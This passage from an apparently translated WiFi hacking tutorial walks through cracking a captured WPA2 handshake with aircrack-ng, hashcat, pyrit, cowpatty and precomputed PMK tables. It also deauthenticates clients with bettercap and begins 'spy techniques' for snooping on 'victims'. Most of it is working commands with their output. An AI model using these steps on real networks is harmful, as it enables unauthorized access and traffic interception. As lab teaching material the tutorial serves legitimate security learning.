                           KEY FOUND  !  [ vampress1 ]
      Master Key       :  9C E8 4E 94 F4 08 12 AC 1F 06 C9 5F CF C8 DE D5
                       EC 70 5C 4B 73 FE 52 7B 02 29 9F 9A 88 E2 B3 74
      Transient Key    :  C6 21 8D E8 62 DD B2 A7 48 65 52 AA E0 C0 8E 85
                       1B 63 D0 1D 9C C0 47 12 DA BF E1 63 12 01 8C 75
                       D3 EF AE C5 E4 62 B7 C7 6E DE D1 05 9D 67 81 BF
                       E7 94 71 D0 8D FE 92 17 61 AC 44 BA 48 E6 F7 B3
      EAPOL HMAC       :  1A EB 42 13 85 E4 A1 FC 99 AF AA 97 4D AA EE 25
```

The computation speed will always depend on our CPU, but we will see a couple of techniques later to increase our computation speed, exceeding 10 million passwords per second.

Brute force with Hashcat

Since **aircrack** is not capable of shooting by GPU, in case you have a GPU as in my case:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  nvidia-detect
Detected NVIDIA GPUs:
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GP107M [GeForce GTX 1050 Mobile] [10de:1c8d] (rev a1)
```

It is best to use **Hashcat** for these cases. To run the tool, we first need to know what the numerical method corresponding to **WPA** is :

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  hashcat -h |  grep -i wpa
   2500  |  WPA-EAPOL-PBKDF2                                   |  Network Protocols
   2501  |  WPA-EAPOL-PMK                                      |  Network Protocols
  16800  |  WPA-PMKID-PBKDF2                                   |  Network Protocols
  16801  |  WPA-PMKID-PMK                                      |  Network Protocols
```

Once identified (**2500), the first thing we need to do is convert our ' .cap** ' capture to a file of type ' **.hccapx** ', specific to the Hashcat combination. To do this, we run the ' **-j** ' parameter of aircrack (this time it is lowercase):

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack-ng -j hashcatCapture Capture-01.cap
Opening Capture-01.cape wait...
Read 5110 packets. #    BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening Capture-01.cape wait...
Read 5110 packets.
1 potential targets
Building Hashcat (3.60+) file...
[  *  ] ESSID (length: 7): hacklab
[  *  ] Key version: 2
[  *  ] BSSID: 20:34:FB:B1:C5:53
[  *  ] ST: 34:41:5D:46:D1:38
[  *  ] annce:
    FE AD BB C5 CA AC 3C 41 52 56 B1 44 5D 61 29 2A
    72 E1 7D 73 6A 5E 16 A5 15 88 E4 9E 58 42 EC 78
[  *  ] snonce:
    47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF 1F
    6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE E0
[  *  ] Key MIC:
    0C 0E B7 91 69 C1 FE FD E5 D9 08 42 2E E4 A5 3C
[  *  ] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
    01 47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF
    1F 6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE
    E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
    04 01 00 00 0F AC 02 00 00
Successfully written to hashcatCapture.hccapx
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ls
Capture-01.cap hashcatCapture.hccapx
```

Already in possession of this capture, we start the cracking phase using the following syntax:

- hashcat -m 2500 -d 1 rockyou.txt --force -w 3

Obtaining the following results in record time:

```
 ┌─[✗]─[root@parrot]─[/usr/share/wordlists]
└──╼  #  hashcat -m 2500 -d 1 hashcatCapture.hccapx rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform  #  1: NVIDIA Corporation
======================================  *  Device  #  1: GeForce GTX 1050, 1010/4040 MB allocatable, 5MCU
OpenCL Platform  #  2: The pocl project
=====================================  *  Device  #  2: pthread-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped.
Hashes: 1 digests  ;  1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
Applicable optimizers: *  Zero-Byte
  *  Single-Hash
  *  Single-Salt
  *  Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger  set  to 90c *  Device  #  1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D
LOCAL_MEM_TYPE=1 -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D
DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=2500 -D _unroll'
Dictionary cache hit: *  Filename..: rockyou.txt
  *  Passwords.: 14344386
  *  Bytes.....: 139921517
  *  Keyspace..: 14344386
ebe21289a38f16ee01a35c240c356e5f:2034fbb1c553:34415d46d138:hacklab:vampress1
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: hacklab (AP:20:34:fb:b1:c5:53 STA:34:41:5d:46:d1:38)
Time.Started.....: Sun Aug 11 19:12:43 2019 (4 secs)
Time.Estimated...: Sun Aug 11 19:12:47 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.  #  1.........: 79177 H/s (7.18ms) @ Accel:128 Loops:64 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 807901/14344386 (5.63%)
Rejected.........: 439261/807901 (54.37%)
Restore.Point....: 728207/14344386 (5.08%)
Restore.Sub.  #  1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.  #  1....: 22lehvez33 -> rodnesha
Hardware.Mon.  #  1..: Temp: 63c Util: 92% Core:1670MHz Mem:3504MHz Bus:8
```

Remember to use the **-d** parameter to specify the device to use. If we want to list the password once cracked (although we also see it in the output listed above), we can do the following:

```
┌─[root@parrot]─[/usr/share/wordlists]
└──╼  #  hashcat --show -m 2500 hashcatCapture.hccapx
ebe21289a38f16ee01a35c240c356e5f:2034fbb1c553:34415d46d138:hacklab:vampress1
```

In this case, for the curious, using a **GeForce GTX 1050** we would be going to 79,177 Hashes per second, which means that in a matter of seconds we can go through the entire rockyou.

Bettercap attack process

All the process carried out up to now can be done from **Bettercap** . Yes, it is true that although for the case seen I prefer to use the conventional method, sometimes I use **Bettercap** for PKMID attacks that I will explain later, for WPA/WPA2 networks without clients.

The first of all to carry out the procedure is to put our network card in monitor mode as detailed in the points previously seen. Later, from **Bettercap** , we can do the following:

```
┌─[root@parrot]─[/opt/bettercap]
└──╼  #  ./bettercap -iface wlan0mon
bettercap v2.24.1 (built  for  linux amd64 with go1.10.4) [type  '  help  '   for  a list of commands]
 wlan0mon » wifi.recon on
[21:07:22] [sys.log] [inf] wifi using interface wlan0mon (e4:70:b8:d3:93:5c)
[21:07:22] [sys.log] [inf] wifi started (min rssi: -200 dBm)
[21:07:22] [sys.log] [inf] wifi channel hopper started.
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_49BA (-92 dBm) detected as 84:aa:9c:f1:49:bc (MitraStar Technology Corp.).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_2F95 (-93 dBm) detected as e8:d1:1b:21:2f:96 (Askey Computer Corp).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point LowiF7D3 (-84 dBm) detected as 10:62:d0:f6:f7:d8 (Technicolor CH USA Inc.).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_A908 (-90 dBm) detected as fc:b4:e6:99:a9:09 (Askey Computer Corp).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point devolo-30d32d583e03 (-96 dBm) detected as 30:d3:2d:58:3e:03 (devolo AG).
 wlan0mon » [21:07:24] [wifi.ap.new] wifi access point MOVISTAR_1677 (-54 dBm) detected as 1c:b0:44:d4:16:78 (Askey Computer Corp).
 wlan0mon » [21:07:24] [wifi.ap.new] wifi access point MIWIFI_psGP (-94 dBm) detected as 50:78:b3:ee:bb:ac.
 wlan0mon » [21:07:25] [wifi.ap.new] wifi access point Wlan1 (-81 dBm) detected as f8:8e:85:df:3e:13 (Comtrend Corporation).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point linksys (-73 dBm) detected as 00:12:17:70:d5:2c (Cisco-Linksys, LLC).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point devolo-30d32d583c6b (-82 dBm) detected as 30:d3:2d:58:3c:6b (devolo AG).
 wlan0mon » [21:07:27] [wifi.client.new] new station 78:4f:43:24:01:4e (Apple, Inc.) detected  for  linksys (00:12:17:70:d5:2c )
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point MOVISTAR_3126 (-93 dBm) detected as cc:d4:a1:0c:31:28 (MitraStar Technology Corp.).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point vodafone4038 (-92 dBm) detected as 28:9e:fc:0c:40:3e (Sagemcom Broadband SAS).
 wlan0mon » [21:07:27] [wifi.client.new] new station f0:7b:cb:04:d7:37 (Hon Hai Precision Ind. Co.,Ltd.) detected  for  linksys (00:12:17
:70:d5:2c)
```

That is, through the **wifi.recon on** command , we monitor the available networks in the environment, just as we would from **airodump** . Once done, for convenience, we filter the results by the number of clients/stations available for the different AP's:

```
wlan0mon »  set  wifi.show.sort clients desc
```

Finally, through the **ticker** utility , we can specify the commands that we want to be executed at regular time intervals. In my case, I will specify that I want to do a screen cleanup followed by the **wifi.show** operation , which will list the access points available in the environment based on the client-level filtering criteria that I specified in the previous operation:

```
wlan0mon »  set  ticker.commands  '  clear;  wifi.show  '
 wlan0mon' ticker on
```

Once we press the 'Enter' key, we will obtain results like these:

```
┌───────n't ──┬──────────n't ┬────────────────┬──────────┬─────────┬──────────────
| RSSI | BSSID | SSID | Encryption | WPS | Ch | Clients ▼ | Sent | Recvd | Seen |
├───────n't ──┼──────────n't ───────────────┼──────────┼─────────┼─────────────┤
| -81 dBm | 30:d3:2d:58:3c:6b | devolo-30d32d583c6b | WPA2 (CCMP, PSK) | 2.0 | 11 | 1 | 326 B | 84 B | 21:15:40 |
| -69 dBm | 1c:b0:44:d4:16:85 | MOVISTAR_PLUS_1677 | WPA2 (CCMP, PSK) | 2.0 | 112 | 1 | 516 B | 344 B | 21:15:31 |
| -74 dBm | 00:12:17:70:d5:2c | linksys | OPEN | | 11 | 1 | 383 kB | 31 kB | 21:15:40 |
| -95 dBm | fc:b4:e6:99:a9:09 | MOVISTAR_A908 | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 21:15:34 |
| -87 dBm | f8:8e:85:df:3e:13 | Wlan1 | WPA (TKIP, PSK) | 1.0 | 9 | | 7.1 kB | | 21:15:39 |
| -95 dBm | e8:d1:1b:21:2f:96 | MOVISTAR_2F95 | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 21:15:18 |
| -98 dBm | d0:17:c2:30:45:7c | pepephone_ADSLR9C0 | WPA2 (CCMP, PSK) | | 3 | | | | 21:15:19 |
| -95 dBm | cc:d4:a1:0c:31:28 | MOVISTAR_3126 | WPA2 (CCMP, PSK) | 2.0 (not configured) | 11 | | | | 21:15:39 |
| -97 dBm | a0:ab:1b:45:ad:4f | MiFibra-FA4C-EXT | WPA2 (TKIP, PSK) | 2.0 | 1 | | | | 21:15:01 |
| -90 dBm | 84:aa:9c:f1:49:bc | MOVISTAR_49BA | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 21:15:35 |
| -93 dBm | 50:78:b3:ee:bb:ac | MIWIFI_psGP | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 21:15:37 |
| -91 dBm | 28:9e:fc:0c:40:3e | vodafone4038 | WPA2 (TKIP, PSK) | 2.0 | 11 | | | | 21:15:40 |
| -54 dBm | 1c:b0:44:d4:16:78 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 6 | | 172 B | | 21:15:37 |
| -88 dBm | 10:62:d0:f6:f7:d8 | LowiF7D3 | WPA2 (TKIP, PSK) | 2.0 | 1 | | 267 B | | 21:15:35 |
| -69 dBm | 06:b0:44:d4:16:85 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 112 | | | | 21:15:31 |
└───────n't ──┴──────────n't ┴──────────────┴─────────┴────────┴──────────┘
wlan0mon (ch. 40) / ↑ 0 B / ↓ 538 kB / 1392 pkts
 wlan0mon »
```

Now, how do I filter the channel that interests me? Simple... through the following operation:

```
wlan0mon » wifi.recon.channel 6
```

This will now list the networks available on channel 6:

```
 ┌───────n't ──────────n't ─────┬──────────┐
| RSSI | BSSID | SSID | Encryption | WPS | Ch | Clients ▼ | Sent | Recvd | Seen |
├───────n't ──────────n't ─────┼──────────┤
| -94 dBm | 50:78:b3:ee:bb:ac | MIWIFI_psGP | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 21:18:09 |
| -53 dBm | 1c:b0:44:d4:16:78 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 6 | | 3.4 kB | | 21:18:10 |
└───────n't ──────────n't ─────┴──────────┘
wlan0mon (ch. 6) / ↑ 0 B / ↓ 906 kB / 2889 pkts
 wlan0mon » wifi.recon.channel 6
```

What is convenient about this method? For example, now seeing that the **MOVISTAR_1677** network has the BSSID **1c:b0:44:d4:16:78** , I could carry out a de-authentication attack on the clients that **Bettercap** detects in said network:

```
wlan0mon » wifi.deauth 1c:b0:44:d4:16:78
```

Obtaining the following results:

```
wlan0mon » wifi.deauth 1c:b0:44:d4:16:78
 wlan0mon » [21:33:26] [sys.log] [inf] wifi deauthing client 20:34:fb:b1:c5:53 from AP MOVISTAR_1677 (channel:6 encryption:WPA2)
```

Once the client reconnects to the network:

```
 wlan0mon » [21:33:13] [wifi.client.probe] station da:a1:19:8b:d9:82 (Google, Inc.) is probing  for  SSID MOVISTAR_DF12 (-38 dBm)
wlan0mon » [21:33:15] [wifi.client.probe] station 20:34:fb:b1:c5:53 is probing  for  SSID MOVISTAR_1677 (-40 dBm)
wlan0mon » [21:33:15] [wifi.client.handshake] captured 20:34:fb:b1:c5:53 -  >  MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
wlan0mon » [21:33:15] [wifi.client.handshake] captured 20:34:fb:b1:c5:53 -  >  MOVISTAR_1677 (1c:b0:44:d4:16:78) WPA2 handshake to /root/
bettercap-wifi-handshakes.pcap
```

The Handshake is generated and it is automatically exported to the indicated file from the verbose of the tool. If we analyze with **pyrit** , we see that indeed... a Handshake has been captured by said station:

```
 ┌─[root@parrot]─[/opt/bettercap]
└──╼  #  pyrit -r /root/bettercap-wifi-handshakes.pcap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  /root/bettercap-wifi-handshakes.pcap  '  (1/1)...
Parsed 7 packets (7 802.11-packets), got 1 AP(s) #  1: AccessPoint 1c:b0:44:d4:16:78 ('MOVISTAR_1677'):  #  1: Station 20:34:fb:b1:c5:53, 4
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1  #  2: HMAC_SHA1_AES, good, spread 1  #  3: HMAC_SHA1_AES, good, spread 2  #  4:
HMAC_SHA1_AES, good, spread 2
```

Techniques to increase computing speed

While it is true that I find the computing speed of my computer to be quite acceptable (7,000/10,000 passwords per second), is there a way to go even faster? Is there a way to multiply the speed by 1,000 if necessary? a computer with high requirements? The answer is yes.

When starting the brute force process with **aircrack** , for example, we are carrying out several steps:

- Capture filtering to extract the Hash (Handshake)
- Dictionary reading (CCMP for each clear text password)
- Comparison of the resulting Hash with the captured Handshake
- True/False (If there is a Match, that is the password)

Have you not thought that all these steps could be omitted if we had a dictionary of already precomputed keys? Let me explain, what if instead of having a dictionary of passwords in clear text, we have a dictionary of passwords already pre-computed with their respective hashes? Notice that now it would simply be to do the following steps:

- Read PMK key from dictionary

- True/False (Match with the Handshake)

This reduction in steps is equivalent to the speed of the computation time, that is, it is much less. We will see it little by little, but first a bit of culture :)

Rainbow Table Concept

Today passwords are no longer kept unencrypted – or so it is expected. When users of a platform set a password for their account, this string of characters does not appear in plain text in a database on some server, since it would not be secure: if they found a way into it, a hacker would It would be very easy to access all the accounts of a certain user.

For eCommerce, online banking or online government services this would have fatal consequences. Instead, online services use various cryptographic mechanisms to encrypt their users' passwords so that only a hash value (digest value) of the key appears in databases.

Even knowing the cryptographic function that originated it, it is not possible to deduce the password from this hash value, because it is not possible to reconstruct the procedure in reverse. This leads cybercriminals to resort to brute force attacks, in which a computer program tries to "guess" the correct sequence of characters that makes up the password for as long as it takes.

This method can be combined with so-called password “dictionaries”. In these files, which circulate freely on the Internet, numerous passwords can be found that are either very popular or have already been intercepted in the past.

Hackers tend to try all the passwords in the dictionary first, which saves time, but depending on the complexity of the passwords (length and type of characters), this process can take longer and consume more resources than expected .

Also available on the Web and also a resource for cracking secret keys, rainbow tables go a step beyond dictionaries. These files, which can be several hundred gigabytes in size, contain a list of keys together with their hash values, but in an incomplete way: to reduce their size and thus their need for memory space, strings of values are created from which the other values can be easily reconstructed. With these tables the hash values found in a database can be sorted with their plain text keys.

A clear example: https://hashkiller.co.uk/

Cracking with Pyrit

With that said, and while we're not going to get into the full **Rainbow Tables** just yet , let's start by looking at how we can make use of **Pyrit** to crack passwords through dictionary attacks. First we will see the conventional method and later we will combine it with a Rainbow Table.

Once a Handshake is captured, we can use Pyrit to crack the wireless network password, as follows:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -e hacklab -i /usr/share/wordlists/rockyou.txt -r Capture-01.cap attack_passthrough
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 automatically...
```

The **attack_passthrough** mode is responsible for attacking a captured handshake by means of a brute force attack, using the dictionary specified through the ' **-r** ' parameter.

Once the password is obtained:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -e hacklab -i /usr/share/wordlists/rockyou.txt -r Capture-01.cap attack_passthrough
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 automatically...
Tried 40002 PMKs so far  ;  2466 PMKs per second.  123hello9
The password is  '  hottie4u  '  .
```

If you look... **2,466 PMKs per second** , which is pretty sad considering the speed of **aircrack** , but don't worry, even though we're disappointed now, we'll be surprised later.

Cracking with Cowpatty

Using **Cowpatty** to employ a brute force attack is as follows:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  cowpatty -f dictionary -r Capture-01.cap -s hacklab
cowpatty 4.8 - WPA-PSK dictionary attack.  <  jwright@hasborg.com  >
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.
key no.  1000: skittles1
key no.  2000: princess15
key no.  3000: unfaithful
key no.  4000: andresteamo
key no.  5000: hennessy
key no.  6000: friends forever
key no.  7000: 0123654789
key no.  8000: trinitron
key no.  9000: flower22
key no.  10000: Vincenzo
key no.  11000: pensacola
key no.  12000: boy racer
key no.  13000: grandma
key no.  14000: battle field
key no.  15000: bad angel
The PSK is  "  hottie4u  "  .
15242 passphrases tested  in  24.02 seconds: 634.53 passphrases/second
```

It is important to note that you must always specify the **ESSID** of the network. As we see, we get the password but the computation is even much less... **634 passwords per second** , we will improve it.

Cracking with Airolib

Now is when we are going to increase the computing speed. **Airolib** allows us to create a dictionary of pre-computed keys (PMK's), which is wonderful for that matter.

We will start by creating a **passwords-airolib** file , indicating the password dictionary to use:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --import passwd dictionary
Database  <  passwords-airolib  >  does not already exist, creating it...
Database  <  passwords-airolib  >  successfully created
Reading file...
Writing...s read, 45922 invalid lines ignored.
donate.
```

Once done, we create a file that stores the **ESSID** of our network and synchronize it with the created file:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "hacklab" > essid.lst
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --import essid essid.lst
Reading file...
Writing...
donate.
```

Through the ' **--stats** ' parameter, we can check that everything is correctly defined:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --stats
There are 1 ESSIDs and 24078 passwords  in  the database.  0 out of 24078 possible combinations have been computed (0%).
ESSID Priority Done
hacklab 64 0.0
```

Since **airolib** comes with a parameter to clean up the file (unreadable lines or errors), we use it as well:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analyzing index structure...
Vacuum-cleaning the database.  This could take a while...
Checking database integrity...
integrity_check
okay
donate.
```

And finally, we use the **--batch** parameter to generate the final dictionary of precomputed keys:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --batch
Batch processing...
Computed 5000 PMK  in  13 seconds (384 PMK/s, 19078  in  buffer)
Computed 10000 PMK  in  24 seconds (416 PMK/s, 14078  in  buffer)
Computed 15000 PMK  in  36 seconds (416 PMK/s, 9078  in  buffer)
Computed 20000 PMK  in  48 seconds (416 PMK/s, 4078  in  buffer)
Computed 24078 PMK  in  58 seconds (415 PMK/s, 0  in  buffer)
All ESSID processed.
```

Once generated, pay attention to the speed. Let's see with **aircrack** how long it takes us using the traditional procedure:

```
                              aircrack-ng 1.5.2
      [00:00:02] 22832/24078 keys tested (9415.01 k/s)
      Time left: 0 seconds 94.83%
                           KEY FOUND  !  [hottie4u]
      Master Key       :  B1 42 12 E4 D4 86 FF 87 49 04 29 E3 51 E3 C6 BC
                         C0 EA A3 03 A6 ED E3 79 A0 A4 BC D6 8F 3B 39 E3
      Transient Key    :  F7 17 BB BB 6F A3 9A E8 D5 DA E6 3E 0E C5 0B 45
                         C8 D6 47 4B 87 12 FF A7 80 6A 44 00 05 77 CC 96
                         35 99 2D BA 9D B0 A4 CF C2 43 CF 66 2B 74 D9 16
                         7C ED 59 EF AE 70 5D 23 D9 7B 9E B9 38 2A 87 CC
      EAPOL HMAC       :  7F A8 E0 CC 77 49 2C E9 51 8C 81 42 F9 DB CE E0
```

Key values:

- 9,415 passwords per second
- 2 seconds to find the password

Now, let's use aircrack to crack the password again, but this time with a syntax that takes the file created with **airolib** as input :

- aircrack-ng -r passwords-airolib Capture-01.cap

We get the following results:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
 └──╼  #  aircrack-ng -r passwordsAircrack-ng 1.5.2 1.cap
      [00:00:00] 15241/0 keys tested (204456.39 k/s)
      Time left:
                           KEY FOUND  !  [hottie4u]
      Master Key       :  24 87 02 AB 54 4E 47 C1 C0 DC DE E9 DF 7D 22 88
                         80 C4 F0 07 F9 04 B8 71 B7 72 2A F1 04 75 57 99
      Transient Key    :  21 6C FB DC 6B D0 98 59 99 F1 A3 1A B2 CF 9D 67
                         E2 6C DA 3C CC 50 B2 60 9B 65 D3 B1 94 DA B4 AB
                         92 62 DB 80 C5 CB DA 15 A5 04 D3 C7 5B A2 FD 8F
                         87 36 0A 3A 99 45 14 A2 61 8D 3B 90 44 53 6A A4
      EAPOL HMAC       :  64 A2 4A 1B D6 22 93 78 78 09 2F 42 7E 11 8F BC
```

Key values:

- 204,456 passwords per second
- 0.X seconds until the password is found

I know, amazing, but it is possible to go even faster.

Rainbow Table with Genpmk

We have seen how we can considerably increase computing speed by using the **aircrack** suite . **Now let's move away from aircrack** a bit and think about **Cowpatty** and **Pyrit** , we weren't too surprised last time, were we, but we're going to have them take on a bigger role.

The **passwords-airolib** file cannot be used by **Cowpatty** or **Pyrit** , in this case we will have to use **genpmk** to generate a new dictionary of precomputed keys adapted to be interpreted by these fantastic tools.

The syntax is as follows:

```
 ┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
 └──╼  #  genpmk -f dictionary -d dic.genpmk -s hacklab
genpmk 1.3 - WPA-PSK precomputation attack.  <  jwright@hasborg.com  >
File dic.genpmk does not exist, creating.
key no.  1000: skittles1
key no.  2000: princess15
key no.  3000: unfaithful
key no.  4000: andresteamo
key no.  5000: hennessy
key no.  6000: friends forever
key no.  7000: 0123654789
key no.  8000: trinitron
key no.  9000: flower22
key no.  10000: Vincenzo
key no.  11000: pensacola
key no.  12000: boy racer
key no.  13000: grandma
key no.  14000: battle field
key no.  15000: bad angel
key no.  16000: liferocks
key no.  17000: forever15
key no.  18000: gabriell
key no.  19000: mexico18
key no.  20000: 13031991
key no.  21000: kitty1234
key no.  22000: casper22
key no.  23000: 12021989
key no.  24000: tigers15
```

```
4078 passphrases tested in 39.35 seconds: 611.90 passphrases/second
```

What it has done has been to generate a new **dic.genpmk** dictionary of precomputed keys. At this point, we can do what is described in the following points.

Cracking with Cowpatty in front of Rainbow Table

Leveraging the **dic.genpmk** dictionary generated with **genpmk** , we do the following:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # cowpatty -d dic.genpmk -r Capture-01.cap -s hacklab
cowpatty 4.8 - WPA-PSK dictionary attack. < jwright@hasborg.com >
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
key no. 10000: Vincenzo
The PSK is " hottie4u " .
```

```
15242 passphrases tested in 0.04 seconds: 361013.75 passphrases/second
```

Key points:

- 361,013 passwords per second
- 0.04 seconds to give the password

Shall we try to go a little faster?

Cracking with Pyrit in front of Rainbow Table

Leveraging once again the same **dic.genpmk** dictionary generated with **genpmk** , we do the following:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # pyrit -i dic.genpmk -e hacklab -r Capture-01.cap attack_cowpatty
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file ' Capture-01.cap ' (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 automatically...
Tried 24078 PMKs so far ; 1992708 PMKs per second.
```

```
The password is ' hottie4u ' .
```

Key points:

- 1,992,708 passwords per second

At this point it could be said that working at almost 2 million passwords per second, we would be more than happy, right? But it is possible to go even faster.

Cracking with Pyrit through Database Attack

This is already considered the most powerful method. We start by importing all the passwords in our dictionary from **Pyrit** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # pyrit -i dictionary import_passwords
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Connecting to storage at ' file:// ' ... connected.
70000 lines read. Flushing buffers....
```

```
All done.
```

Once done, we specify the **ESSID** with which we are going to work:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # pyrit -e hacklab create_essid
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Connecting to storage at ' file:// ' ... connected.
```

```
ESSID already created
```

Finally, we generate the precomputed keys:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # pyrit batch
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Connecting to storage at ' file:// ' ... connected.
Batch processing done.
```

We start the attack in database attack mode with **Pyrit** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # pyrit -r Capture-01.cap attack_db
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Connecting to storage at ' file:// ' ... connected.
Parsing file ' Capture-01.cap ' (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 ( ' hacklab ' ) automatically.
Attacking handshake with Station 34:41:5d:46:d1:38...
Tried 37326 PMKs so far (100.0%) ; 18289321 PMKs per second.
The password is ' hottie4u ' .
```

And look what a dizzying speed:

- **18,289,321 passwords per second**

Spy Techniques

This point includes some basic techniques **without going into the Pentesting phase** to be able to know what our victims are doing at the network level, including data theft in certain cases.

Using Airdecap for packet decryption

So far we have seen how to obtain the access credentials to a wireless network. Now, what happens once we are inside?

It is clear that we could start with a Pentesting phase to try to violate the security of the systems and begin to compromise all the equipment, but it is not the idea. We'll start at the network level, seeing how far we can go with the information we've collected.

If we look closely, the active monitoring captures that we export with 'airodump-ng' travel encrypted, that is, it is not possible to view HTTP queries or requests at a private network level:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01.cap -Y "http.request.method==POST" 2>/dev/null # No results
```

